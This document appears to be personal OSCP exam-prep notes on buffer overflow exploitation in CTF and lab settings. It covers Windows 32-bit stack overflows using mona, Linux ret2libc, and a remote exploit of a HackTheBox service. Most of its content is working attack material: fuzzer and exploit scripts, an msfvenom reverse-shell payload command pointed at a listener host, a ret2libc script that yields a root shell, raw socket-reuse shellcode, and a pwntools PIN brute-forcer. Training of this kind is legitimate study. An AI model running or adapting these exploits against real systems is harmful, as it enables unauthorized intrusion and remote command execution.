Buffer Overflow
Buffer Overflow notes for Windows 32bits in order to pass OSCP exam!
Windows 32 bits
Stack-Based
For that task we are going to use a Windows 7 x64 with Immunity Debugger and mona.py installed.
Mona configuration
!mona config -set workingfolder c:\mona\%p
Fuzz to find the vulnerable input
fuzzer.py
import socket, time, sys
ip = "10.10.95.202"
port = 1337
timeout = 5
buffer = []
counter = 100
while len(buffer) < 30:
buffer.append("A" * counter)
counter += 100
for string in buffer:
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.settimeout(timeout)
connect = s.connect((ip, port))
s.recv(1024)
print("Fuzzing with %s bytes" % len(string))
s.send("OVERFLOW1 " + string + "\r\n")
s.recv(1024)
s.close()
except:
print("Could not connect to " + ip + ":" + str(port))
sys.exit(0)
time.sleep(1)
Crash Replication & Crontrolling EIP
exploit.py
import socket
ip = "10.10.95.202"
port = 1337
prefix = "OVERFLOW1 "
offset = 0
overflow = "A" * offset
retn = ""
padding = ""
payload = ""
postfix = ""
buffer = prefix + overflow + retn + padding + payload + postfix
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((ip, port))
print("Sending evil buffer...")
s.send(buffer + "\r\n")
print("Done!")
except:
print("Could not connect.")
create a pattern: /usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 600
And add the output to a payload variable and exploited.
take notes about the EIP and search the offset:
/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q EIP
Check adding BBBB
value to retn
variable.
Finding Bad Characters
Find the characters that are not accepted on the payload. (REMEMBER FILL THE EIP)
!mona bytearray -b "\x00"
And add the output to the payload variable (without the offset)
Finally compare the binary file with the stack frame specifying the ESP.
!mona compare -f C:\mona\oscp\bytearray.bin -a <ESP>
Repeat the process adding the new bad characters found until the results status returns UNMODIFIED
!mona bytearray -b "\x00\x07\x2e\xa0"
Finding a Jump Point
Find all "jmp esp" on the system !mona jmp -r esp -cpb "\x00\x07\x2e\xa0"
Remember: Don't Forget to put the BAD CHARS founded.
Log data, item 11
Address=625011AF
Message= 0x625011af : jmp esp | {PAGE_EXECUTE_READ} [essfunc.dll] ASLR: False, Rebase: False, SafeSEH: False, OS: False, v-1.0- (C:\Users\admin\Desktop\vulnerable-apps\oscp\essfunc.dll)
Put the adress on the "retn" variable. If the EIP is the same as ESP you success at jummping to ESP.
Generate the Payload
We will generate the payload with msfvenom
, (DON'T FORGET TO PUT THE FOUND BAD CHARS)``
msfvenom -a x86 -p windows/shell_reverse_tcp LHOST=10.11.21.203 LPORT=4444 EXITFUNC=thread -b "\x00\x07\x2e\xa0" -f py
| sed 's/buf/payload/g'
Copy the generated payload ant integrate it into the exploit.py
Prepend NOPs
We will need some space in memory for the payload to unpack itself, if we added a padding before to match the beginning of the payload with ESP add another 16 NOPS.
padding = "\x90" * 16
Linux 32 bits
Ret2Libc (Localy)
For that task we are going to use a Kali with gdb-peda
installed:
Running the binary with GDB
❯ gdb rop
GNU gdb (Debian 10.1-1.7) 10.1.90.20210103-git
Copyright (C) 2021 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "x86_64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.
For help, type "help".
Type "apropos word" to search for commands related to "word"...
Reading symbols from rop...
(No debugging symbols found in rop)
gdb-peda$ r "Hello World"
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop "Hello World"
[+] Message sent: Hello World[Inferior 1 (process 379963) exited normally]
Warning: not running
gdb-peda$
Notice that we get a message in GDB telling us that the the process was detached after a fork from the child process. We can fix that by setting the following commands in GDB.
gdb-peda$ set follow-fork-mode child
gdb-peda$ set detach-on-fork off
Finding the offset
Create the pattern
Create a randomized pattern in order to find the offset with the EIP value.
gdb-peda$ pattern_create 100
'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Find the offset
Run the binary with the pattern.
gdb-peda$ r 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL'
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x79 ('y')
EBX: 0xffffcd20 --> 0x2
ECX: 0x0
EDX: 0x5f ('_')
ESI: 0xf7faa000 --> 0x1e4d6c
EDI: 0xf7faa000 --> 0x1e4d6c
EBP: 0x31414162 ('bAA1')
ESP: 0xffffccf0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
EIP: 0x41474141 ('AAGA')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x41474141
[------------------------------------stack-------------------------------------]
0000| 0xffffccf0 ("AcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0004| 0xffffccf4 ("2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0008| 0xffffccf8 ("AAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0012| 0xffffccfc ("A3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0016| 0xffffcd00 ("IAAeAA4AAJAAfAA5AAKAAgAA6AAL")
0020| 0xffffcd04 ("AA4AAJAAfAA5AAKAAgAA6AAL")
0024| 0xffffcd08 ("AJAAfAA5AAKAAgAA6AAL")
0028| 0xffffcd0c ("fAA5AAKAAgAA6AAL")
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x41474141 in ?? ()
gdb-peda$
Once we have the EIP we will search the offset value with the pattern:
gdb-peda$ pattern_offset 0x41474141
1095188801 found at offset: 52
Check results
Now run the binary with a randomized offset and a controlled EIP like 'BBBB'.
❯ python3 -c 'print("A"*52 + 'BBBB')'
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
And finally run the binary with the payload
gdb-peda$ r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Starting program: /home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAABBBB
Program received signal SIGSEGV, Segmentation fault.
[----------------------------------registers-----------------------------------]
EAX: 0x38 ('8')
EBX: 0xffffcd50 --> 0x2
ECX: 0x0
EDX: 0x0
ESI: 0xf7faa000 --> 0x1e4d6c
EDI: 0xf7faa000 --> 0x1e4d6c
EBP: 0x41414141 ('AAAA')
ESP: 0xffffcd20 --> 0xffffd000 ("ared/ctf/HackTheBox/Frolic/content/rop")
EIP: 0x42424242 ('BBBB')
EFLAGS: 0x10282 (carry parity adjust zero SIGN trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
Invalid $PC address: 0x42424242
[------------------------------------stack-------------------------------------]
0000| 0xffffcd20 --> 0xffffd000 ("ared/ctf/HackTheBox/Frolic/content/rop")
0004| 0xffffcd24 --> 0xffffcdf4 --> 0xffffcfea ("/home/mvaliente/KaliShared/ctf/HackTheBox/Frolic/content/rop")
0008| 0xffffcd28 --> 0xffffce00 --> 0xffffd060 ("COLORFGBG=15;0")
0012| 0xffffcd2c --> 0x8048561 (<__libc_csu_init+33>: lea eax,[ebx-0xf8])
0016| 0xffffcd30 --> 0xffffcd50 --> 0x2
0020| 0xffffcd34 --> 0x0
0024| 0xffffcd38 --> 0x0
0028| 0xffffcd3c --> 0xf7de3e46 (<__libc_start_main+262>: add esp,0x10)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Stopped reason: SIGSEGV
0x42424242 in ?? ()
gdb-peda$
Check Security
With gdb-peda
:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : ENABLED
PIE : disabled
RELRO : Partial
gdb-peda$
To check ASLR you can check the following file on the target machine:
cat /proc/sys/kernel/randomize_va_space
Checking the results:
0
OFF
OFF
1
ON
ON
2
OFF
OFF
Finding Addresses
- libc.so.6
❯ ldd rop
linux-gate.so.1 => (0xb7fda000)
libc.so.6 => /lib/i386-linux-gnu/libc.so.6 (0xb7e19000)
/lib/ld-linux.so.2 (0xb7fdb000)
- system
❯ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep system
245: 00112f20 68 FUNC GLOBAL DEFAULT 13 svcerr_systemerr@@GLIBC_2.0
627: 0003ada0 55 FUNC GLOBAL DEFAULT 13 __libc_system@@GLIBC_PRIVATE
1457: 0003ada0 55 FUNC WEAK DEFAULT 13 system@@GLIBC_2.0
- exit
❯ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
</.binary$ readelf -s /lib/i386-linux-gnu/libc.so.6 | grep exit
112: 0002edc0 39 FUNC GLOBAL DEFAULT 13 __cxa_at_quick_exit@@GLIBC_2.10
141: 0002e9d0 31 FUNC GLOBAL DEFAULT 13 exit@@GLIBC_2.0
450: 0002edf0 197 FUNC GLOBAL DEFAULT 13 __cxa_thread_atexit_impl@@GLIBC_2.18
558: 000b07c8 24 FUNC GLOBAL DEFAULT 13 _exit@@GLIBC_2.0
616: 00115fa0 56 FUNC GLOBAL DEFAULT 13 svc_exit@@GLIBC_2.0
652: 0002eda0 31 FUNC GLOBAL DEFAULT 13 quick_exit@@GLIBC_2.10
876: 0002ebf0 85 FUNC GLOBAL DEFAULT 13 __cxa_atexit@@GLIBC_2.1.3
1046: 0011fb80 52 FUNC GLOBAL DEFAULT 13 atexit@GLIBC_2.0
1394: 001b2204 4 OBJECT GLOBAL DEFAULT 33 argp_err_exit_status@@GLIBC_2.1
1506: 000f3870 58 FUNC GLOBAL DEFAULT 13 pthread_exit@@GLIBC_2.0
2108: 001b2154 4 OBJECT GLOBAL DEFAULT 33 obstack_exit_failure@@GLIBC_2.0
2263: 0002e9f0 78 FUNC WEAK DEFAULT 13 on_exit@@GLIBC_2.0
2406: 000f4c80 2 FUNC GLOBAL DEFAULT 13 __cyg_profile_func_exit@@GLIBC_2.2
- /bin/sh
❯ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
</.binary$ strings -atx /lib/i386-linux-gnu/libc.so.6 | grep /bin/sh
15ba0b /bin/sh
Create the exploit
This is a template:
import struct
offset = 52
overflow = "A" * offset
libc = 0xb7e19000
system = struct.pack('<I', libc + 0x0003ada0)
exit = struct.pack('<I', libc + 0x0002e9d0)
binsh = struct.pack('<I', libc + 0x0015ba0b)
payload = overflow + system + exit + binsh
print(payload)
Explotation
Finally we just need to transfer the file to the target machine and executed
❯ ./rop $(python /tmp/exploit.py)
# id
uid=0(root) gid=33(www-data) groups=33(www-data)
Stack-Based (Remotely)
Same as Ret2Libc
we need to control the EIP. When we successfuly control the EIP we need to check which security is enabled:
gdb-peda$ checksec
CANARY : disabled
FORTIFY : disabled
NX : disabled
PIE : ENABLED
RELRO : Partial
We can see that PIE is enabled which stands for Position Independent Executable. This means that the memory locations will change every time you run the application. This makes exploiting buffer overflows harder. However, in that example of BoF there was a DEBUG parameter that gave us the location of the buffer overflow-able field.
❯ nc 10.10.10.34 7411
OK Ready. Send USER command.
DEBUG
OK DEBUG mode on.
USER admin
OK Send PASS command.
PASS admin
Debug: userpass buffer @ 0xffffd610
Incorrect username and/or password.
ERR Authentication failed.
Socket Re-Use
Instead of spawning a reverse shell that maybe give problems to us with bad characters we can re-use the open socket.
The following shellcode works to re-use the socket.
buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";
Fitting the exploit
Finally we just need to fit all parts together and make the exploit:
from pwn import *
# Initial Configuration
context(os="linux", arch="i386")
host = "10.10.10.34"
port = "7411"
# Junk Bytes
junk = b'A' * 28
# UserPass Leaked memory
addr = p32(0xffffd610+32)
# Payload to reuse the socket
buf=b""
buf+=b"\x6a\x02\x5b\x6a\x29\x58\xcd\x80\x48\x89\xc6"
buf+=b"\x31\xc9\x56\x5b\x6a\x3f\x58\xcd\x80\x41\x80"
buf+=b"\xf9\x03\x75\xf5\x6a\x0b\x58\x99\x52\x31\xf6"
buf+=b"\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e"
buf+=b"\x89\xe3\x31\xc9\xcd\x80";
payload = junk + addr + buf
r = remote(host, port, level='error')
r.recvline()
r.sendline("DEBUG")
r.recvline()
r.sendline("USER admin")
r.recvline()
r.sendline("PASS " + payload)
r.interactive()
Example pwntools
from pwn import *
for i in range(0, 9999):
code = "0" * (4- len(str(i))) + str(i)
# r = process("./mypapp")
r = remote("localhost", 910, level='error')
r.recvuntil("[$] ")
r.sendline(code)
response = r.recvline()
r.close()
if b"Access denied" not in response:
log.success("Valid code found " + code)
break
Last updated
Was this helpful?